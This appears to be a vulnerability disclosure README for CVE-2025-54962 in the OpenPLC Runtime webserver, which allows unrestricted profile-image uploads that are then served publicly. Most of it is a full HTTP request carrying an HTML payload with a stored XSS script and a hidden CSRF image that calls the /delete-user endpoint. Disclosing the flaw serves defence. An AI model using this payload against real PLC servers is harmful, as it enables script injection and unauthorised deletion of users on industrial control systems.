eyodav/cve-2025-54962Authenticated users can upload arbitrary files (e.g. .html, .svg) as profile images in OpenPLC Runtime. These files are publicly accessible without authentication, allowing stored XSS or malicious content delivery .
I discovered a vulnerability in the OpenPLC Runtime webserver (released version: 2024-12-31) that allows authenticated users to upload arbitrary files (e.g., .html, .svg) as profile pictures. These files are stored in the /static/ directory and are accessible without authentication, enabling stored XSS or malicious hosting scenarios.
/edit-user.html or .svg file as a profile picture./static/ and given a predictable ID (e.g., http://localhost:8080/static/336029.html)
.html file
/static/
Basic PoC demo
poc de base.mp4
Unauthenticated access demonstration
unauthenticated.mp4
CSRF PoC
poc csrf.mp4
POST /edit-user HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 1397
Cache-Control: max-age=0
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: [OpenPLC URL]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryW3GoLRyFS7dyLS2B
User-Agent: [UA]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8080/edit-user?table_id=10
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: session=[cookie]
Connection: close
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_id"
10
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="full_name"
OpenPLC User
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_name"
openplc
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_email"
[email protected]
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_password"
mypasswordishere
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="file"; filename="poc cve.html"
Content-Type: text/html
<!DOCTYPE html>
<html>
<head>
<title>PoC – Unfiltered Upload</title>
</head>
<body>
<h1>Proof of Concept</h1>
<p>Payload uploaded on vulnerable endpoint. If filtering is broken, executing script below proves stored XSS.</p>
<h2>XSS Demo (auto-executed)</h2>
<script>alert('PoC xss')</script>
<h2>CSRF</h2>
<img src="http://127.0.0.1:8080/delete-user?user_id=%5BUser%20ID%5D" style="display:none" />
<h2>document.domain</h2>
<p>Opened from: <script>document.write(document.domain)</script></p>
<h2>Manual link to malicious HTML</h2>
<a href="https://google.com/" target="_blank">Click to redirect on google.com</a>
</body>
</html>
------WebKitFormBoundaryW3GoLRyFS7dyLS2B--